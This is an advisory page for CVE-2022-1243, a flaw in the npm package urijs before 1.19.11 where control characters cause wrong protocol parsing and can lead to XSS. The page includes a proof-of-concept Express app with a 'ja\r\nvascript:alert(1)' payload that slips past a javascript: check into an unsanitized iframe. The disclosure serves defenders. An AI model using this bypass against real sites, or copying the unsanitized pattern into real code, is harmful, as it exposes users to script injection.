Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS0zdmpmLTgyZmYtcDRyM804xw

Incorrect protocol extraction via \r, \n and \t characters

\r, \n and \t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11.

This can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example):

const parse = require('urijs')
const express = require('express')
const app = express()
const port = 3000

input = "ja\r\nvascript:alert(1)"
url = parse(input)

console.log(url)

app.get('/', (req, res) => {
 if (url.protocol !== "javascript:") {res.send("<iframe src=\'" + input + "\'>CLICK ME!</iframe>")}
})

app.listen(port, () => {
 console.log(`Example app listening on port ${port}`)
})

Permalink: https://github.com/advisories/GHSA-3vjf-82ff-p4r3
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdmpmLTgyZmYtcDRyM804xw
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 2 years ago
Updated: 5 months ago

CVSS Score: 7.2
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Identifiers: GHSA-3vjf-82ff-p4r3, CVE-2022-1243
References:

• https://nvd.nist.gov/vuln/detail/CVE-2022-1243
• https://github.com/medialize/uri.js/commit/b0c9796aa1a95a85f40924fb18b1e5da3dc8ffae
• https://huntr.dev/bounties/8c5afc47-1553-4eba-a98e-024e4cc3dfb7
• https://github.com/advisories/GHSA-3vjf-82ff-p4r3

Repository: https://github.com/medialize/uri.js
Blast Radius: 38.0

Affected Packages